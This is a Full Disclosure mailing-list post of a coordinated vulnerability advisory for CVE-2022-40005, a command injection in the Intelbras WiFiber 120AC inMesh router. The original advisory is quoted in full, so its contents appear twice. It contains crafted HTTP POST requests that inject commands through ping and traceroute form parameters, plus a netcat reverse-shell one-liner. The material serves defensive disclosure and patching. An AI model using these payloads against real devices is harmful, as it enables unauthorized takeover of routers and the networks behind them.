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Full Disclosure: Re: CyberDanube Security Research 20221009-0

Table of Contents





From: Thomas Weber <t.weber () cyberdanube com>
Date: Tue, 13 Dec 2022 17:59:41 +0100


CyberDanube Security Research 20221009-0

-------------------------------------------------------------------------------

               title| Authenticated Command Injection
             product| Intelbras WiFiber 120AC inMesh
  vulnerable version| 1.1-220216
       fixed version| 1-1-220826
          CVE number| CVE-2022-40005
              impact| High
            homepage| https://www.intelbras.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com

-------------------------------------------------------------------------------


Vendor description

-------------------------------------------------------------------------------

"We are Intelbras. A company that for 45 years has been offering innovative

solutions in security, networks, communication and energy. Our dream
began to
come to life there in 1976, in the city of São José, having originated
from an

INspiration and a promising idea: to manufacture PABX centrals. During the

80's, we surprised the market with the launch of the first PABX
developed with
national technology, a product that showed everyone our innovative DNA.
The 90s

were marked by the consolidation of the company in the telecommunications

segment and we became leaders in the PABX and telephone terminals
segment. The

turn of the millennium represented the search for greater connection and

proximity to people, something that is in total harmony with our
philosophy to
this day. More consolidated in the market, in 2010 we opened 3
manufacturing

units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.

We reached our 45th birthday having reached a historic milestone: we
have been
a company listed on the B3 since February 2021. Our trajectory so far
has been
INnovative, INtelligent and INSpiring. We saw innovation, which is part
of our

DNA, increasingly present in our daily lives. And it was only possible to

write a story so full of achievements because employees, partners and
customers

were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are


Vulnerable versions

-------------------------------------------------------------------------------

WiFiber 120AC inMesh / 1.1-220216


Vulnerability overview

-------------------------------------------------------------------------------

1) Authenticated Command Injection (CVE-2022-40005)

The web server of the device is prone to an authenticated command
injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, more extensive damage in the corresponding
network can

be done by an attacker.


Proof of Concept

-------------------------------------------------------------------------------

1) Authenticated Command Injection (CVE-2022-40005)
The web server is prone to an authenticated command injection via POST
parameters. The following proof-of-concept shows how to inject the command
"ls /" to the system which gets executed in the background:

===============================================================================

POST /boaform/formPing6 HTTP/1.1
Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/ping6.asp
Upgrade-Insecure-Requests: 1

pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908

===============================================================================


The following commands can be used to open a reverse shell:

"rm -f /tmp/f"
"mkfifo /tmp/f"
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"

Those commands were sent via a crafted POST request:

===============================================================================

POST /boaform/formTracert HTTP/1.1
Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/tracert.asp
Upgrade-Insecure-Requests: 1

proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290

===============================================================================


The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution

-------------------------------------------------------------------------------

Update to firmware version 1-1-220826.

https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip



Workaround

-------------------------------------------------------------------------------

None


Recommendation

-------------------------------------------------------------------------------

CyberDanube recommends Intelbras customers to upgrade the firmware to the
latest version available.


Contact Timeline

-------------------------------------------------------------------------------

2022-08-02: Contacting Intelbras via suporte () intelbras com br.
2022-08-03: Request from Intelbras to send the advisory to
csirt () intelbras com br; Sent the advisory to this address.
2022-08-30: Asked for status update; Vendor answered that the new firmware

            version has been released the day before. Set the
disclosure date

            to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
2022-10-09: Coordinated disclosure of advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022

On 09.10.22 17:21, Thomas Weber wrote:
CyberDanube Security Research 20221009-0

-------------------------------------------------------------------------------

               title| Authenticated Command Injection
             product| Intelbras WiFiber 120AC inMesh
  vulnerable version| 1.1-220216
       fixed version| 1-1-220826
          CVE number|
              impact| High
            homepage| https://www.intelbras.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com

-------------------------------------------------------------------------------


Vendor description

-------------------------------------------------------------------------------

"We are Intelbras. A company that for 45 years has been offering
innovative
solutions in security, networks, communication and energy. Our dream
began to
come to life there in 1976, in the city of São José, having originated
from an
INspiration and a promising idea: to manufacture PABX centrals. During
the
80's, we surprised the market with the launch of the first PABX
developed with
national technology, a product that showed everyone our innovative
DNA. The 90s

were marked by the consolidation of the company in the telecommunications

segment and we became leaders in the PABX and telephone terminals
segment. The

turn of the millennium represented the search for greater connection and

proximity to people, something that is in total harmony with our
philosophy to
this day. More consolidated in the market, in 2010 we opened 3
manufacturing

units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.

We reached our 45th birthday having reached a historic milestone: we
have been
a company listed on the B3 since February 2021. Our trajectory so far
has been
INnovative, INtelligent and INSpiring. We saw innovation, which is
part of our

DNA, increasingly present in our daily lives. And it was only possible to

write a story so full of achievements because employees, partners and
customers

were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are


Vulnerable versions

-------------------------------------------------------------------------------

WiFiber 120AC inMesh / 1.1-220216


Vulnerability overview

-------------------------------------------------------------------------------

1) Authenticated Command Injection

The web server of the device is prone to an authenticated command
injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, more extensive damage in the corresponding
network can

be done by an attacker.


Proof of Concept

-------------------------------------------------------------------------------

1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST

parameters. The following proof-of-concept shows how to inject the
command

"ls /" to the system which gets executed in the background:

===============================================================================

POST /boaform/formPing6 HTTP/1.1
Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/ping6.asp
Upgrade-Insecure-Requests: 1

pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908

===============================================================================


The following commands can be used to open a reverse shell:

"rm -f /tmp/f"
"mkfifo /tmp/f"
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"

Those commands were sent via a crafted POST request:

===============================================================================

POST /boaform/formTracert HTTP/1.1
Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/tracert.asp
Upgrade-Insecure-Requests: 1

proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290

===============================================================================


The vulnerability was manually verified on an emulated device by using
the

MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution

-------------------------------------------------------------------------------

Update to firmware version 1-1-220826.

https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip



Workaround

-------------------------------------------------------------------------------

None


Recommendation

-------------------------------------------------------------------------------

CyberDanube recommends Intelbras customers to upgrade the firmware to the
latest version available.


Contact Timeline

-------------------------------------------------------------------------------

2022-08-02: Contacting Intelbras via suporte () intelbras com br.
2022-08-03: Request from Intelbras to send the advisory to
csirt () intelbras com br; Sent the advisory to this address.

2022-08-30: Asked for status update; Vendor answered that the new
firmware
            version has been released the day before. Set the
disclosure date

            to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
2022-10-09: Coordinated disclosure of advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022


Attachment:
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Description: S/MIME Cryptographic Signature

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Current thread:

  • Re: CyberDanube Security Research 20221009-0 | Authenticated Command Injection in Intelbras WiFiber 120AC inMesh Thomas Weber (Dec 13)

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